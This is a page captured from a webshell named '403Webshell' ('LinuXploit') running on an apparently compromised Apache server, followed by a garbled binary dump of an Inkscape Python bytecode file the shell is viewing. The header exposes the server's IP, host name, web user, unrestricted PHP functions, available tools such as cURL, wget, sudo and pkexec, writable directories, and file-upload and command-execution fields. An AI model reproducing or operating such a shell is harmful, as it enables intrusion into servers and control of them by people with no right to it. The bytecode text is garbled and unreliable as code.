403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/inkex/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/inkex/__pycache__/command.cpython-310.pyc
o

0�a+"�@s�dZddlZddlZddlmZmZddlmZddlm	Z	ddl
mZej�
d�Zedkr8ejd	kr6d
ZndZGdd
�d
e�ZGdd�de�Zdd�Zdd�Zd(dd�Zdd�Zdd�Zdd�Zdd�Zd)dd �Zd*d$d%�Zd&d'�ZdS)+a]
This API provides methods for calling Inkscape to execute a given
Inkscape command. This may be needed for various compiling options
(e.g., png), running other extensions or performing other options only
available via the shell API.

Best practice is to avoid using this API except when absolutely necessary,
since it is resource-intensive to invoke a new Inkscape instance.

However, in any circumstance when it is necessary to call Inkscape, it
is strongly recommended that you do so through this API, rather than calling
it yourself, to take advantage of the security settings and testing functions.

�N)�Popen�PIPE)�TemporaryDirectory)�ElementTree�)�SvgDocumentElement�INKSCAPE_COMMAND�win32zinkscape.exe�inkscapec@�eZdZdZdS)�CommandNotFoundzCommand is not foundN��__name__�
__module__�__qualname__�__doc__�rr�//usr/share/inkscape/extensions/inkex/command.pyr3�rc@r)�ProgramRunErrorz Command returned non-zero outputNr
rrrrr7rrcCs�tj�|�rtj�|�r|Szddlm}||�}|r|WSWn	ty(Ynwzddlm}||�}|r9|WSWn	tyCYnwt	d|�d���)zL
    Attempt different methods of trying to find if the program exists.
    r)�find_executable)�whichzCan not find the command: '�')
�os�path�isabs�isfile�distutils.spawnr�ImportError�shutilrr)�programr�prog�warlockrrrr;s*����rcGs�tjj|�}tj�|�r|St|d��4}t|t�rt|�}t|d�r(|�	|�nt|t
�r3|�	|�ntd��Wd�|SWd�|S1sJwY|S)z#Writes an svg to the given filename�wb�writez'Not sure what type of SVG data this is.N)rr�joinr�open�
isinstancerr�hasattrr$�bytes�
ValueError)�svg�filename�fhlrrr�	write_svg_s&


�
�
�
�
�
r.FcCsht|ttf�r0|\}}d|}t|�dkr|sd|}|dur!|S|dur'dS|�dt|���St|�S)z4Convert a python argument to a command line argument�-�TFN�=)r'�tuple�list�len�str)�arg�oldie�valrrr�to_argqsr9cs�|g}|�dd��|��D]-\}}|�dd���}t|t�r#t|�}nt|t�s+|g}|D]}|�t||f���q-q
|�fdd�|D�7}dd�|D�S)a9Compile arguments and keyword arguments into a list of strings which Popen will understand.

    :param prog:
        Program executable prepended to the output.
    :type first: ``str``
    :param *args:
        See below
    :param **kwargs:
        See below

    :Arguments:
        * (``str``) -- String added as given
        * (``tuple``) -- Ordered version of Kwyward Arguments, see below

    :Keyword Arguments:
        * *name* (``str``) --
          Becomes ``--name="val"``
        * *name* (``bool``) --
          Becomes ``--name``
        * *name* (``list``) --
          Becomes ``--name="val1"`` ...
        * *n* (``str``) --
          Becomes ``-n=val``
        * *n* (``bool``) --
          Becomes ``-n``

    :return: Returns a list of compiled arguments ready for Popen.
    :rtype: ``list[str]``
    r7F�_r/csg|]}|durt|���qS�N)r9)�.0�pos�r7rr�
<listcomp>�szto_args.<locals>.<listcomp>cSsg|]}|dur|�qSr;r)r<r6rrrr?�s)	�pop�items�replace�stripr'r2r3�appendr9)r!�positionals�	arguments�argsr6�valuer8rr>r�to_argss


�rIc	Os�|�dd�}t|t�r|�d�}|rtnd}tt|�g|�Ri|��}t|d|ttd�}|j|d�\}}|j	dkr;|St
d|j	�d|�d	|�d
|����)N�stdin�utf-8F)�shellrJ�stdout�stderr)�inputrz
Return Code: z: �
z
args: )r@r'r5�encoderrIrr�communicate�
returncoder)r rG�kwargsrJ�inpipe�processrMrNrrr�_call�s 

�
"rWcOsF|�dd�}t|g|�Ri|��}|s!t|t�r!|�tjjpd�S|S)a�
    Generic caller to open any program and return its stdout.

    stdout = call('executable', arg1, arg2, dash_dash_arg='foo', d=True, ...)

    Will raise ProgramRunError() if return code is not 0.

     * return_binary - Should stdout return raw bytes (default: False)
     * stdin - The string or bytes containing the stdin (default: None)
     * All other arguments converted using to_args(...) function.
    �
return_binaryFrK)r@rWr'r)�decode�sysrM�encoding)r rGrT�binaryrMrrr�call�s

r]cOstt|g|�Ri|��S)zS
    Call Inkscape with the given svg_file and the given arguments, see call()
    )r]�INKSCAPE_EXECUTABLE_NAME)�svg_filerGrTrrrr
�src	Cs�tdd��F}t||d�}|rd|fnd}|d7}t||dd�|�d	�t|d
��}|��Wd�Wd�S1s>wYWd�dS1sNwYdS)z�
    Executes a list of commands, a mixture of verbs, selects etc.

    inkscape_command('<svg...>', ('verb', 'VerbName'), ...)
    zinkscape-command)�prefixz	input.svg�selectN)�FileSave�FileQuitT�;)�
batch_process�verb�rb)rr.r
r%r&�read)r+ra�verbs�tmpdirr_r-rrr�inkscape_command�s��"�rk�snapshot�png�`cKsJt|||d�}tj�||dt|����}t|f|||d�|��|S)z�
    Take a snapshot of the given svg file.

    Resulting filename is yielded back, after generator finishes, the
    file is deleted so you must deal with the file inside the for loop.
    z.svg�.)�
export_dpi�export_filename�export_type)r.rrr%r5�lowerr
)r+�dirname�name�ext�dpirTr_�ext_filerrr�
take_snapshot�srycCs$zttt��WStyYdSw)z4Return true if the Inkscape executable is available.F)�boolrr^rrrrr�is_inkscape_available�s
�r{)F)Nr)rlrmrn)rrrZ�
subprocessrr�tempfiler�
lxml.etreer�elementsr�environ�getr^�platform�IOErrorrr*rrr.r9rIrWr]r
rkryr{rrrr�<module>s0
$
/



Youez - 2016 - github.com/yon3zu
LinuXploit